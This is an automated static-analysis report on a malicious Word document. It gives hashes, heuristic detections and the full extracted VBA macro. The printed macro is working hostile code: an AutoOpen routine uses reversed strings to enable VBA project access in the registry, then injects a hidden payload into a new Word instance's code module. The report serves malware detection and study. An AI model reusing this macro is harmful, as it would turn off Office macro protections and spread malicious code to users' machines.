Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ef3ccd81140aea3a…

MALICIOUS

Office (OOXML)

75.8 KB Created: 2021-05-04 08:42:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-15
MD5: 9b4194f692f6ca80f474d3591d7fdf0c SHA-1: e8b0c585dadc6f0884c00d88795da584fceb7436 SHA-256: ef3ccd81140aea3abfced117df4dd09de0e69c8578997eebc07e4b633cb8c074
230 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    With CreateObject("wscript.shell")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .AddFromString libDelete
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set collectionRequestDocument = CreateObject("word.application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1834 bytes
SHA-256: 7060f3678ac3e000acd4a07db44564e935fe346ec1759d8131b5e4b0fd88d204
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{2E172E3F-6CD6-45BE-AEE0-6763AB390899}{E79A8C85-3B89-4815-8A84-DB952B7C408C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "listLoad"
Sub autoopen()
genericVb
Dim lenDeleteBorder As String
lenDeleteBorder = localWindowDatabase
queryStorageListbox lenDeleteBorder
End Sub

Attribute VB_Name = "deleteStorageReference"
Sub queryStorageListbox(libDelete As String)
Set collectionRequestDocument = CreateObject("word.application")
With collectionRequestDocument.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString libDelete
End With
collectionRequestDocument.Visible = False
collectionRequestDocument.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "repoTrustBuf"
Function namespaceRef() As String
namespaceRef = Application.Version
End Function
Sub bufferWindowDocument(argumentLib)
With CreateObject("wscript.shell")
.RegWrite argumentLib, 1, "REG_DWORD"
End With
End Sub
Sub genericVb()
argumentLib = StrReverse("\eciffO\tfosorciM\erawtfoS\RESU_TNERRUC_YEKH")
swapDocumentView = namespaceRef
namespaceTextCopy = StrReverse("MOBVsseccA\ytiruceS\droW\")
bufferWindowDocument argumentLib & swapDocumentView & namespaceTextCopy
End Sub
Function localWindowDatabase()
localWindowDatabase = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: 27fbfffa503915aed24b7aa3f5294e5a8b68dff4f376f3642ed916e058027273

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